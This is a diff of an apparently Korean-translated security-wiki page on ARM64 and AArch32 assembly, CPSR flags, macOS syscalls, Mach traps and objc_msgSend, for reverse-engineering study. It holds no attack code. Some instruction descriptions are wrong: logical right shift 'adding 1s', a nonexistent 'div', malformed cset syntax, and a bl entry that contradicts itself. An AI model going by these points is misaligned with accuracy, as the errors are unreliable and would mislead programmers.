@ -100,79 +100,79 @@ Swift는 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rs
## **일반 명령어 (ARM64v8)**
ARM64 명령어는 일반적으로 **형식 `opcode dst, src1, src2`**를 가지며, 여기서 **`opcode`**는 수행할 **작업**(예: `add`, `sub`, `mov` 등), **`dst`**는 결과가 저장될 **목적지** 레지스터, **`src1`** 및 **`src2`**는 **출처** 레지스터입니다. 즉각적인 값도 출처 레지스터 대신 사용할 수 있습니다.
ARM64 명령어는 일반적으로 **형식 `opcode dst, src1, src2`**를 가지며, 여기서 **`opcode`**는 수행할 **작업**(예: `add`, `sub`, `mov` 등), **`dst`**는 결과가 저장될 **대상** 레지스터, **`src1`** 및 **`src2`**는 **소스** 레지스터입니다. 즉각적인 값도 소스 레지스터 대신 사용할 수 있습니다.
- **`mov`**: 한 **레지스터**에서 다른 레지스터로 값을 **이동**합니다.
- 예: `mov x0, x1` — 이 명령은 `x1`의 값을 `x0`로 이동합니다.
- **`ldr`**: **메모리**에서 **레지스터**로 값을 **로드**합니다.
- 예: `ldr x0, [x1]` — 이 명령은 `x1`이 가리키는 메모리 위치에서 값을 `x0`로 로드합니다.
- **오프셋 모드**: 원래 포인터에 영향을 미치는 오프셋이 표시됩니다. 예를 들어:
- `ldr x2, [x1, #8]`, 이는 `x1 + 8`에서 값을 x2로 로드합니다.
- `ldr x2, [x0, x1, lsl #2]`, 이는 x0의 배열에서 x1(인덱스) 위치 \* 4에서 객체를 x2로 로드합니다.
- **사전 인덱스 모드**: 원래에 계산을 적용하고 결과를 얻은 후 새로운 원래를 원래에 저장합니다.
- `ldr x2, [x1, #8]`, 이는 `x1 + 8`에서 값을 `x2`로 로드합니다.
- `ldr x2, [x0, x1, lsl #2]`, 이는 배열 `x0`에서 위치 `x1`(인덱스) \* 4에서 객체를 `x2`로 로드합니다.
- **사전 인덱스 모드**: 원본에 계산을 적용하고 결과를 얻은 후 새로운 원본을 원본에 저장합니다.
- `ldr x2, [x1, #8]!`, 이는 `x1 + 8`을 `x2`로 로드하고 `x1`에 `x1 + 8`의 결과를 저장합니다.
- `str lr, [sp, #-4]!`, 링크 레지스터를 sp에 저장하고 레지스터 sp를 업데이트합니다.
- **후 인덱스 모드**: 이전과 비슷하지만 메모리 주소에 접근한 후 오프셋이 계산되고 저장됩니다.
- `str lr, [sp, #-4]!`, 링크 레지스터를 `sp`에 저장하고 레지스터 `sp`를 업데이트합니다.
- **사후 인덱스 모드**: 이전과 비슷하지만 메모리 주소에 접근한 후 오프셋이 계산되고 저장됩니다.
- `ldr x0, [x1], #8`, `x1`을 `x0`로 로드하고 `x1`을 `x1 + 8`로 업데이트합니다.
- **PC 상대 주소 지정**: 이 경우 로드할 주소는 PC 레지스터에 상대적으로 계산됩니다.
- `ldr x1, =_start`, 이는 `_start` 기호가 시작하는 주소를 현재 PC에 상대적으로 x1에 로드합니다.
- `ldr x1, =_start`, 이는 `_start` 기호가 시작하는 주소를 현재 PC에 상대적으로 `x1`에 로드합니다.
- **`str`**: **레지스터**에서 **메모리**로 값을 **저장**합니다.
- 예: `str x0, [x1]` — 이 명령은 `x0`의 값을 `x1`이 가리키는 메모리 위치에 저장합니다.
- **`ldp`**: **레지스터 쌍 로드**. 이 명령은 **연속 메모리** 위치에서 두 레지스터를 **로드**합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
- 예: `ldp x0, x1, [x2]` — 이 명령은 `x2` 및 `x2 + 8`의 메모리 위치에서 각각 `x0` 및 `x1`을 로드합니다.
- **`stp`**: **레지스터 쌍 저장**. 이 명령은 **연속 메모리** 위치에 두 레지스터를 **저장**합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
- 예: `stp x0, x1, [sp]` — 이 명령은 `sp` 및 `sp + 8`의 메모리 위치에 각각 `x0` 및 `x1`을 저장합니다.
- `stp x0, x1, [sp, #16]!` — 이 명령은 `sp+16` 및 `sp + 24`의 메모리 위치에 각각 `x0` 및 `x1`을 저장하고 `sp`를 `sp+16`으로 업데이트합니다.
- `stp x0, x1, [sp, #16]!` — 이는 `sp+16` 및 `sp + 24`의 메모리 위치에 각각 `x0` 및 `x1`을 저장하고 `sp`를 `sp+16`으로 업데이트합니다.
- **`add`**: 두 레지스터의 값을 더하고 결과를 레지스터에 저장합니다.
- 구문: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
- Xn1 -> 목적지
- Xn1 -> 대상
- Xn2 -> 피연산자 1
- Xn3 | #imm -> 피연산자 2 (레지스터 또는 즉각적인 값)
- \[shift #N | RRX] -> 시프트를 수행하거나 RRX를 호출합니다.
- 예: `add x0, x1, x2` — 이 명령은 `x1`과 `x2`의 값을 더하고 결과를 `x0`에 저장합니다.
- Xn3 | #imm -> 피연산자 2(레지스터 또는 즉각적인 값)
- \[shift #N | RRX] -> 시프트를 수행하거나 RRX 호출
- 예: `add x0, x1, x2` — 이는 `x1`과 `x2`의 값을 더하고 결과를 `x0`에 저장합니다.
- `add x5, x5, #1, lsl #12` — 이는 4096과 같습니다(1을 12번 시프트) -> 1 0000 0000 0000 0000
- **`adds`**: `add`를 수행하고 플래그를 업데이트합니다.
- **`adds`**: 이는 `add`를 수행하고 플래그를 업데이트합니다.
- **`sub`**: 두 레지스터의 값을 빼고 결과를 레지스터에 저장합니다.
- **`add`** **구문**을 확인하십시오.
- 예: `sub x0, x1, x2` — 이 명령은 `x2`의 값을 `x1`에서 빼고 결과를 `x0`에 저장합니다.
- 예: `sub x0, x1, x2` — 이는 `x2`의 값을 `x1`에서 빼고 결과를 `x0`에 저장합니다.
- **`subs`**: 이는 빼기와 같지만 플래그를 업데이트합니다.
- **`mul`**: 두 레지스터의 값을 곱하고 결과를 레지스터에 저장합니다.
- 예: `mul x0, x1, x2` — 이 명령은 `x1`과 `x2`의 값을 곱하고 결과를 `x0`에 저장합니다.
- 예: `mul x0, x1, x2` — 이는 `x1`과 `x2`의 값을 곱하고 결과를 `x0`에 저장합니다.
- **`div`**: 한 레지스터의 값을 다른 레지스터로 나누고 결과를 레지스터에 저장합니다.
- 예: `div x0, x1, x2` — 이 명령은 `x1`의 값을 `x2`로 나누고 결과를 `x0`에 저장합니다.
- 예: `div x0, x1, x2` — 이는 `x1`의 값을 `x2`로 나누고 결과를 `x0`에 저장합니다.
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
- **논리적 왼쪽 시프트**: 끝에서 0을 추가하여 다른 비트를 앞으로 이동시킵니다(2배 곱하기).
- **논리적 오른쪽 시프트**: 시작에서 1을 추가하여 다른 비트를 뒤로 이동시킵니다(부호 없는 경우 2배 나누기).
- **산술적 오른쪽 시프트**: **`lsr`**과 같지만 가장 중요한 비트가 1인 경우 0 대신 1을 추가합니다(부호 있는 경우 n배 나누기).
- **오른쪽 회전**: **`lsr`**과 같지만 오른쪽에서 제거된 것은 왼쪽에 추가됩니다.
- **확장과 함께 오른쪽 회전**: **`ror`**과 같지만 캐리 플래그가 "가장 중요한 비트"로 사용됩니다. 따라서 캐리 플래그는 비트 31로 이동하고 제거된 비트는 캐리 플래그로 이동합니다.
- **`bfm`**: **비트 필드 이동**, 이 작업은 **값에서 `0...n` 비트를 복사하여** **`m..m+n`** 위치에 배치합니다. **`#s`**는 **가장 왼쪽 비트** 위치를 지정하고 **`#r`**은 **오른쪽 회전 양**을 지정합니다.
- **논리적 오른쪽 시프트**: 시작 부분에 1을 추가하여 다른 비트를 뒤로 이동시킵니다(부호 없는 경우 2배 나누기).
- **산술적 오른쪽 시프트**: **`lsr`**와 같지만, 가장 중요한 비트가 1인 경우 0 대신 1을 추가합니다(부호 있는 경우 2배 나누기).
- **오른쪽 회전**: **`lsr`**와 같지만 오른쪽에서 제거된 것은 왼쪽에 추가됩니다.
- **확장된 오른쪽 회전**: **`ror`**와 같지만 캐리 플래그가 "가장 중요한 비트"로 사용됩니다. 따라서 캐리 플래그는 비트 31로 이동하고 제거된 비트는 캐리 플래그로 이동합니다.
- **`bfm`**: **비트 필드 이동**, 이 작업은 **값의 `0...n` 비트를 복사하여** **`m..m+n`** 위치에 배치합니다. **`#s`**는 **가장 왼쪽 비트** 위치를 지정하고 **`#r`**은 **오른쪽 회전 양**을 지정합니다.
- 비트 필드 이동: `BFM Xd, Xn, #r`
- 부호 있는 비트 필드 이동: `SBFM Xd, Xn, #r, #s`
- 부호 없는 비트 필드 이동: `UBFM Xd, Xn, #r, #s`
- **비트 필드 추출 및 삽입:** 레지스터에서 비트 필드를 복사하여 다른 레지스터에 복사합니다.
- **비트 필드 추출 및 삽입:** 레지스터에서 비트 필드를 복사하여 다른 레지스터로 복사합니다.
- **`BFI X1, X2, #3, #4`**: X1의 3번째 비트에서 X2의 4비트를 삽입합니다.
- **`BFXIL X1, X2, #3, #4`**: X2의 3번째 비트에서 4비트를 추출하여 X1에 복사합니다.
- **`SBFIZ X1, X2, #3, #4`**: X2에서 4비트를 부호 확장하여 X1에 삽입하고 오른쪽 비트를 0으로 설정합니다.
- **`SBFIZ X1, X2, #3, #4`**: X2의 4비트를 부호 확장하여 X1에 비트 위치 3에서 삽입하고 오른쪽 비트를 0으로 설정합니다.
- **`SBFX X1, X2, #3, #4`**: X2의 3번째 비트에서 4비트를 추출하고 부호 확장하여 결과를 X1에 배치합니다.
- **`UBFIZ X1, X2, #3, #4`**: X2에서 4비트를 0으로 확장하여 X1에 삽입하고 오른쪽 비트를 0으로 설정합니다.
- **`UBFIZ X1, X2, #3, #4`**: X2의 4비트를 0으로 확장하여 X1에 비트 위치 3에서 삽입하고 오른쪽 비트를 0으로 설정합니다.
- **`UBFX X1, X2, #3, #4`**: X2의 3번째 비트에서 4비트를 추출하고 0으로 확장된 결과를 X1에 배치합니다.
- **X로 부호 확장**: 값을 사용하여 연산을 수행할 수 있도록 부호를 확장합니다(또는 부호 없는 버전에서는 0을 추가합니다):
- **X로 부호 확장:** 값을 부호 확장(또는 부호 없는 버전에서는 0을 추가)하여 연산을 수행할 수 있도록 합니다:
- **`SXTB X1, W2`**: W2에서 X1으로 바이트의 부호를 확장하여 64비트를 채웁니다(`W2`는 `X2`의 절반입니다).
- **`SXTH X1, W2`**: W2에서 X1으로 16비트 숫자의 부호를 확장하여 64비트를 채웁니다.
- **`SXTW X1, W2`**: W2에서 X1으로 바이트의 부호를 확장하여 64비트를 채웁니다.
- **`UXTB X1, W2`**: W2에서 X1으로 0을 추가하여 64비트를 채웁니다(부호 없는).
- **`UXTB X1, W2`**: W2에서 X1으로 바이트에 0을 추가하여 64비트를 채웁니다(부호 없는).
- **`extr`:** 지정된 **레지스터 쌍에서 비트를 추출**합니다.
- 예: `EXTR W3, W2, W1, #3` — 이는 **W1+W2를 연결**하고 **W2의 비트 3에서 W1의 비트 3까지** 가져와 W3에 저장합니다.
- **`cmp`**: 두 레지스터를 **비교**하고 조건 플래그를 설정합니다. 이는 **`subs`**의 **별칭**으로, 목적지 레지스터를 제로 레지스터로 설정합니다. `m == n`인지 확인하는 데 유용합니다.
- **`cmp`**: 두 레지스터를 **비교**하고 조건 플래그를 설정합니다. 이는 **`subs`**의 **별칭**으로, 대상 레지스터를 제로 레지스터로 설정합니다. `m == n`인지 확인하는 데 유용합니다.
- **`subs`**와 동일한 구문을 지원합니다.
- 예: `cmp x0, x1` — 이 명령은 `x0`와 `x1`의 값을 비교하고 조건 플래그를 적절히 설정합니다.
- **`cmn`**: **부정 피연산자**를 비교합니다. 이 경우 **`adds`**의 **별칭**이며 동일한 구문을 지원합니다. `m == -n`인지 확인하는 데 유용합니다.
- **`ccmp`**: 조건부 비교로, 이전 비교가 참인 경우에만 수행되며 nzcv 비트를 설정합니다.
- 예: `cmp x0, x1` — 이는 `x0`와 `x1`의 값을 비교하고 조건 플래그를 적절히 설정합니다.
- **`cmn`**: **부정 피연산자 비교**. 이 경우 **`adds`**의 **별칭**이며 동일한 구문을 지원합니다. `m == -n`인지 확인하는 데 유용합니다.
- **`ccmp`**: 조건부 비교로, 이전 비교가 참인 경우에만 수행되는 비교이며 nzcv 비트를 설정합니다.
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2이고 x3 < x4인 경우 func로 점프합니다.
- 이는 **`ccmp`**가 **이전 `cmp`가 `NE`인 경우에만 실행되기 때문**입니다. 그렇지 않으면 비트 `nzcv`는 0으로 설정되어 `blt` 비교를 만족하지 않습니다.
- 이는 `ccmn`으로도 사용될 수 있습니다(부정적인 경우, `cmp`와 `cmn`처럼).
- **`tst`**: 비교의 값 중 하나라도 1인지 확인합니다(결과를 저장하지 않고 ANDS처럼 작동합니다). 레지스터와 값을 비교하고 레지스터에 지정된 비트 중 하나라도 1인지 확인하는 데 유용합니다.
- 이는 **`ccmp`**가 **이전 `cmp`가 `NE`인 경우에만 실행되기 때문**입니다. 그렇지 않으면 비트 `nzcv`는 0으로 설정됩니다(이는 `blt` 비교를 만족하지 않습니다).
- 이는 `ccmn`으로도 사용될 수 있습니다(부정인 경우, `cmp`와 `cmn`처럼).
- **`tst`**: 비교의 값 중 하나라도 1인지 확인합니다(결과를 어디에도 저장하지 않고 ANDS처럼 작동합니다). 이는 레지스터와 값을 비교하고 레지스터에 표시된 값의 비트 중 하나라도 1인지 확인하는 데 유용합니다.
- 예: `tst X1, #7` — X1의 마지막 3비트 중 하나라도 1인지 확인합니다.
- **`teq`**: 결과를 버리는 XOR 연산입니다.
- **`b`**: 무조건 분기합니다.
@ -181,18 +181,18 @@ ARM64 명령어는 일반적으로 **형식 `opcode dst, src1, src2`**를 가지
- **`bl`**: **링크가 있는 분기**, **서브루틴을 호출**하는 데 사용됩니다. **`x30`**에 **반환 주소를 저장**합니다.
- 예: `bl myFunction` — 이 명령은 `myFunction`을 호출하고 반환 주소를 `x30`에 저장합니다.
- 이 명령은 링크 레지스터에 반환 주소를 채우지 않으므로(반환이 필요한 서브루틴 호출에 적합하지 않음) 주의해야 합니다.
- **`blr`**: **레지스터로 링크가 있는 분기**, **레지스터**에 지정된 **대상**을 **서브루틴을 호출**하는 데 사용됩니다. 반환 주소는 `x30`에 저장됩니다.
- **`blr`**: **레지스터로 링크가 있는 분기**, **서브루틴을 호출**하는 데 사용되며, 대상이 **레지스터**에 **지정**됩니다. 반환 주소는 `x30`에 저장됩니다.
- 예: `blr x1` — 이 명령은 `x1`에 포함된 주소의 함수를 호출하고 반환 주소를 `x30`에 저장합니다.
- **`ret`**: **서브루틴에서 반환**하며, 일반적으로 **`x30`**의 주소를 사용합니다.
- 예: `ret` — 이 명령은 현재 서브루틴에서 반환하며 `x30`의 반환 주소를 사용합니다.
- **`b.<cond>`**: 조건부 분기입니다.
- **`b.eq`**: **같으면 분기**하며, 이전 `cmp` 명령어를 기반으로 합니다.
- 예: `b.eq label` — 이전 `cmp` 명령어가 두 값을 같다고 찾으면 이 명령은 `label`로 점프합니다.
- **`b.ne`**: **같지 않으면 분기**합니다. 이 명령은 조건 플래그를 확인하며(이전 비교 명령어에 의해 설정됨), 비교된 값이 같지 않으면 레이블이나 주소로 분기합니다.
- 예: `b.eq label` — 이전 `cmp` 명령어가 두 값을 같다고 찾으면, 이 명령은 `label`로 점프합니다.
- **`b.ne`**: **같지 않으면 분기**. 이 명령은 조건 플래그를 확인하며(이전 비교 명령어에 의해 설정됨), 비교된 값이 같지 않으면 레이블이나 주소로 분기합니다.
- 예: `cmp x0, x1` 명령어 후, `b.ne label` — `x0`와 `x1`의 값이 같지 않으면 이 명령은 `label`로 점프합니다.
- **`cbz`**: **제로에서 비교하고 분기**합니다. 이 명령은 레지스터를 0과 비교하며, 같으면 레이블이나 주소로 분기합니다.
- **`cbz`**: **제로에서 비교하고 분기**. 이 명령은 레지스터를 0과 비교하며, 같으면 레이블이나 주소로 분기합니다.
- 예: `cbz x0, label` — `x0`의 값이 0이면 이 명령은 `label`로 점프합니다.
- **`cbnz`**: **비제로에서 비교하고 분기**합니다. 이 명령은 레지스터를 0과 비교하며, 같지 않으면 레이블이나 주소로 분기합니다.
- **`cbnz`**: **비제로에서 비교하고 분기**. 이 명령은 레지스터를 0과 비교하며, 같지 않으면 레이블이나 주소로 분기합니다.
- 예: `cbnz x0, label` — `x0`의 값이 비제로이면 이 명령은 `label`로 점프합니다.
- **`tbnz`**: 비트를 테스트하고 비제로에서 분기합니다.
- 예: `tbnz x0, #8, label`
@ -208,7 +208,7 @@ ARM64 명령어는 일반적으로 **형식 `opcode dst, src1, src2`**를 가지
- `cneg Xd, Xn, cond` -> 참이면 Xd = - Xn, 거짓이면 Xd = Xn
- `cset Xd, Xn, Xm, cond` -> 참이면 Xd = 1, 거짓이면 Xd = 0
- `csetm Xd, Xn, Xm, cond` -> 참이면 Xd = \<모두 1>, 거짓이면 Xd = 0
- **`adrp`**: 기호의 **페이지 주소를 계산**하고 레지스터에 저장합니다.
- **`adrp`**: **기호의 페이지 주소를 계산**하고 레지스터에 저장합니다.
- 예: `adrp x0, symbol` — 이 명령은 `symbol`의 페이지 주소를 계산하고 `x0`에 저장합니다.
- **`ldrsw`**: 메모리에서 **부호 있는 32비트** 값을 **로드**하고 **64비트로 부호 확장**합니다.
- 예: `ldrsw x0, [x1]` — 이 명령은 `x1`이 가리키는 메모리 위치에서 부호 있는 32비트 값을 로드하고, 이를 64비트로 부호 확장하여 `x0`에 저장합니다.
@ -246,10 +246,10 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
Armv8-A는 32비트 프로그램의 실행을 지원합니다. **AArch32**는 **두 가지 명령어 집합** 중 하나인 **`A32`**와 **`T32`**에서 실행될 수 있으며, **`interworking`**을 통해 이들 간에 전환할 수 있습니다.\
**특권** 64비트 프로그램은 낮은 특권 32비트로의 예외 수준 전환을 실행하여 **32비트** 프로그램의 **실행을 예약**할 수 있습니다.\
64비트에서 32비트로의 전환은 예외 수준의 하강과 함께 발생합니다(예: EL1의 64비트 프로그램이 EL0의 프로그램을 트리거하는 경우). 이는 `AArch32` 프로세스 스레드가 실행 준비가 되었을 때 **`SPSR_ELx`** 특수 레지스터의 **비트 4를 1로 설정**하여 수행되며, `SPSR_ELx`의 나머지는 **`AArch32`** 프로그램의 CPSR을 저장합니다. 그런 다음, 특권 프로세스는 **`ERET`** 명령어를 호출하여 프로세서가 **`AArch32`**로 전환되도록 하여 CPSR에 따라 A32 또는 T32로 진입합니다.\*\*
64비트에서 32비트로의 전환은 예외 수준의 하강과 함께 발생한다는 점에 유의하십시오(예: EL1의 64비트 프로그램이 EL0의 프로그램을 트리거함). 이는 `AArch32` 프로세스 스레드가 실행 준비가 되었을 때 **`SPSR_ELx`** 특수 레지스터의 **비트 4를 1로 설정**하여 수행되며, 나머지 `SPSR_ELx`는 **`AArch32`** 프로그램의 CPSR을 저장합니다. 그런 다음, 특권 프로세스는 **`ERET`** 명령어를 호출하여 프로세서가 CPSR에 따라 A32 또는 T32로 **`AArch32`**로 전환되도록 합니다.
**`interworking`**은 CPSR의 J 및 T 비트를 사용하여 발생합니다. `J=0` 및 `T=0`은 **`A32`**를 의미하고, `J=0` 및 `T=1`은 **T32**를 의미합니다. 이는 기본적으로 **최하위 비트를 1로 설정**하여 명령어 집합이 T32임을 나타내는 것입니다.\
이는 **interworking 분기 명령어** 중에 설정되지만, PC가 목적 레지스터로 설정될 때 다른 명령어로도 직접 설정할 수 있습니다. 예:
**`interworking`**은 CPSR의 J 및 T 비트를 사용하여 발생합니다. `J=0` 및 `T=0`은 **`A32`**를 의미하고, `J=0` 및 `T=1`은 **T32**를 의미합니다. 이는 기본적으로 명령어 집합이 T32임을 나타내기 위해 **최하위 비트를 1로 설정**하는 것으로 해석됩니다.\
이는 **interworking 분기 명령어** 중에 설정되지만, PC가 목적 레지스터로 설정될 때 다른 명령어로 직접 설정할 수도 있습니다. 예:
또 다른 예:
```armasm
@ -262,7 +262,7 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
mov r0, #0
mov r0, #8
```
### 레지스터
### Registers
16개의 32비트 레지스터(r0-r15)가 있습니다. **r0에서 r14까지**는 **모든 작업**에 사용할 수 있지만, 그 중 일부는 일반적으로 예약되어 있습니다:
@ -272,8 +272,8 @@ mov r0, #8
- **`r13`**: 스택 포인터
- **`r14`**: 링크 레지스터
또한, 레지스터는 **`뱅크 레지스터`**에 백업됩니다. 이는 레지스터 값을 저장하여 예외 처리 및 특권 작업에서 **빠른 컨텍스트 전환**을 수행할 수 있게 해줍니다. 매번 레지스터를 수동으로 저장하고 복원할 필요가 없습니다.\
이는 **예외가 발생한 프로세서 모드의 `CPSR`에서 `SPSR`로 프로세서 상태를 저장**함으로써 이루어집니다. 예외가 반환될 때, **`CPSR`**는 **`SPSR`**에서 복원됩니다.
또한, 레지스터는 **`banked registries`**에 백업됩니다. 이는 레지스터 값을 저장하여 예외 처리 및 특권 작업에서 **빠른 컨텍스트 전환**을 수행할 수 있게 해줍니다. 매번 레지스터를 수동으로 저장하고 복원할 필요가 없습니다.\
이는 예외가 발생한 프로세서 모드의 **`CPSR`**에서 **`SPSR`**로 프로세서 상태를 **저장함으로써** 이루어집니다. 예외가 반환될 때, **`CPSR`**는 **`SPSR`**에서 복원됩니다.
### CPSR - 현재 프로그램 상태 레지스터
@ -281,27 +281,27 @@ AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
필드는 몇 가지 그룹으로 나뉩니다:
필드는 몇 개의 그룹으로 나뉩니다:
- 응용 프로그램 프로그램 상태 레지스터(APSR): 산술 플래그 및 EL0에서 접근 가능
- 응용 프로그램 상태 레지스터(APSR): 산술 플래그 및 EL0에서 접근 가능
- 실행 상태 레지스터: 프로세스 동작(운영 체제에 의해 관리됨).
#### 응용 프로그램 프로그램 상태 레지스터(APSR)
#### 응용 프로그램 상태 레지스터(APSR)
- **`N`**, **`Z`**, **`C`**, **`V`** 플래그( AArch64와 동일)
- **`Q`** 플래그: 특수한 포화 산술 명령어 실행 중 **정수 포화가 발생**할 때 1로 설정됩니다. **`1`**로 설정되면 수동으로 0으로 설정될 때까지 값을 유지합니다. 또한, 그 값이 암묵적으로 확인되는 명령어는 없으며, 수동으로 읽어야 합니다.
- **`Q`** 플래그: 특수한 포화 산술 명령어 실행 중 **정수 포화가 발생**할 때 1로 설정됩니다. **`1`**로 설정되면 수동으로 0으로 설정될 때까지 값을 유지합니다. 또한, 이 값의 상태를 암묵적으로 확인하는 명령어는 없으며, 수동으로 읽어야 합니다.
- **`GE`** (크거나 같음) 플래그: SIMD(단일 명령어, 다중 데이터) 작업에서 사용되며, "병렬 덧셈" 및 "병렬 뺄셈"과 같은 작업을 포함합니다. 이러한 작업은 단일 명령어로 여러 데이터 포인트를 처리할 수 있게 해줍니다.
예를 들어, **`UADD8`** 명령어는 **네 쌍의 바이트**(두 개의 32비트 피연산자에서)를 병렬로 더하고 결과를 32비트 레지스터에 저장합니다. 그런 다음 이러한 결과를 기반으로 **`APSR`**에서 `GE` 플래그를 설정합니다. 각 GE 플래그는 바이트 쌍의 덧셈이 **오버플로우**되었는지를 나타냅니다.
예를 들어, **`UADD8`** 명령어는 **네 쌍의 바이트**(두 개의 32비트 피연산자에서)를 병렬로 더하고 결과를 32비트 레지스터에 저장합니다. 그런 다음 이러한 결과를 기반으로 **`APSR`**에서 **`GE`** 플래그를 **설정**합니다. 각 GE 플래그는 바이트 쌍의 덧셈이 **오버플로우**되었는지를 나타냅니다.
**`SEL`** 명령어는 이러한 GE 플래그를 사용하여 조건부 작업을 수행합니다.
#### 실행 상태 레지스터
- **`J`** 및 **`T`** 비트: **`J`**는 0이어야 하며, **`T`**가 0이면 A32 명령어 세트가 사용되고, 1이면 T32가 사용됩니다.
- **IT 블록 상태 레지스터**(`ITSTATE`): 10-15 및 25-26의 비트입니다. 이들은 **`IT`** 접두사가 붙은 그룹 내의 명령어 조건을 저장합니다.
- **IT 블록 상태 레지스터**(`ITSTATE`): 10-15 및 25-26의 비트입니다. **`IT`** 접두사가 붙은 그룹 내의 명령어 조건을 저장합니다.
- **`E`** 비트: **엔디안**을 나타냅니다.
- **모드 및 예외 마스크 비트**(0-4): 현재 실행 상태를 결정합니다. **5번째** 비트는 프로그램이 32비트(1) 또는 64비트(0)로 실행되는지를 나타냅니다. 나머지 4개는 **현재 사용 중인 예외 모드**를 나타냅니다(예외가 발생하고 처리 중일 때). 설정된 숫자는 **현재 우선 순위**를 나타냅니다.
- **모드 및 예외 마스크 비트**(0-4): 현재 실행 상태를 결정합니다. **5번째** 비트는 프로그램이 32비트(1) 또는 64비트(0)로 실행되는지를 나타냅니다. 나머지 4개는 **현재 사용 중인 예외 모드**를 나타냅니다(예외가 발생하고 처리 중일 때). 설정된 숫자는 이 예외가 처리되는 동안 다른 예외가 발생할 경우 **현재 우선 순위**를 나타냅니다.
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
@ -309,15 +309,15 @@ AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예
## macOS
### BSD 시스템 호출
### BSD syscalls
[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)를 확인하세요. BSD 시스템 호출은 **x16 > 0**을 가집니다.
[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)를 확인하세요. BSD syscalls는 **x16 > 0**을 가집니다.
### Mach 트랩
### Mach Traps
[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)에서 `mach_trap_table`을 확인하고, [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)에서 프로토타입을 확인하세요. Mach 트랩의 최대 수는 `MACH_TRAP_TABLE_COUNT` = 128입니다. Mach 트랩은 **x16 < 0**을 가지므로, 이전 목록의 번호를 **음수**로 호출해야 합니다: **`_kernelrpc_mach_vm_allocate_trap`**는 **`-10`**입니다.
[mach_trap_table](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)에서 `mach_trap_table`을 확인하고, [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)에서 프로토타입을 확인하세요. Mach traps의 최대 수는 `MACH_TRAP_TABLE_COUNT` = 128입니다. Mach traps는 **x16 < 0**을 가지므로, 이전 목록의 숫자를 **음수**로 호출해야 합니다: **`_kernelrpc_mach_vm_allocate_trap`**는 **`-10`**입니다.
이러한 (및 BSD) 시스템 호출을 호출하는 방법을 찾으려면 **`libsystem_kernel.dylib`**를 디스어셈블러에서 확인할 수 있습니다:
이러한 (및 BSD) syscalls를 호출하는 방법을 찾으려면 **`libsystem_kernel.dylib`**를 디스어셈블러에서 확인할 수 있습니다:
```bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -328,15 +328,15 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
**Ida**와 **Ghidra**는 캐시를 통과시켜 **특정 dylibs**를 디컴파일할 수 있습니다.
> [!TIP]
> 때때로 **소스 코드**를 확인하는 것보다 **`libsystem_kernel.dylib`**의 **디컴파일된** 코드를 확인하는 것이 더 쉽습니다. 여러 시스템 호출(BSD 및 Mach)의 코드는 스크립트를 통해 생성되기 때문에(소스 코드의 주석을 확인하세요) dylib에서는 호출되는 내용을 찾을 수 있습니다.
> 때때로 **소스 코드**를 확인하는 것보다 **`libsystem_kernel.dylib`**의 **디컴파일된** 코드를 확인하는 것이 더 쉽습니다. 여러 syscalls (BSD 및 Mach)의 코드는 스크립트를 통해 생성되기 때문에 (소스 코드의 주석을 확인하세요) dylib에서는 호출되는 내용을 찾을 수 있습니다.
### machdep 호출
XNU는 기계 의존적인 호출이라는 또 다른 유형의 호출을 지원합니다. 이러한 호출의 수는 아키텍처에 따라 다르며 호출이나 숫자가 일정하게 유지될 것이라고 보장되지 않습니다.
XNU는 기계 의존적이라고 불리는 또 다른 유형의 호출을 지원합니다. 이러한 호출의 수는 아키텍처에 따라 다르며 호출이나 숫자가 일정하게 유지될 것이라고 보장되지 않습니다.
### comm 페이지
이것은 모든 사용자 프로세스의 주소 공간에 매핑된 커널 소유 메모리 페이지입니다. 사용자 모드에서 커널 공간으로의 전환을 syscalls를 사용하는 것보다 빠르게 하도록 설계되었습니다. 이 커널 서비스는 너무 많이 사용되기 때문에 이 전환이 매우 비효율적일 수 있습니다.
이것은 모든 사용자 프로세스의 주소 공간에 매핑된 커널 소유 메모리 페이지입니다. 이는 사용자 모드에서 커널 공간으로의 전환을 syscalls를 사용하는 것보다 더 빠르게 하도록 설계되었습니다. 이러한 커널 서비스는 너무 많이 사용되기 때문에 이 전환이 매우 비효율적일 수 있습니다.
예를 들어, 호출 `gettimeofdate`는 comm 페이지에서 `timeval`의 값을 직접 읽습니다.
@ -350,7 +350,7 @@ Objective-C 또는 Swift 프로그램에서 이 함수가 사용되는 것을
- x1: op -> 메서드의 선택자
- x2... -> 호출된 메서드의 나머지 인수
따라서 이 함수로의 분기 전에 중단점을 설정하면, lldb에서 호출되는 내용을 쉽게 찾을 수 있습니다(이 예제에서 객체는 명령을 실행할 `NSConcreteTask`의 객체를 호출합니다):
따라서 이 함수로의 분기 전에 중단점을 설정하면, lldb에서 호출되는 내용을 쉽게 찾을 수 있습니다 (이 예제에서 객체는 명령을 실행할 `NSConcreteTask`의 객체를 호출합니다):
```bash
# Right in the line were objc_msgSend will be called
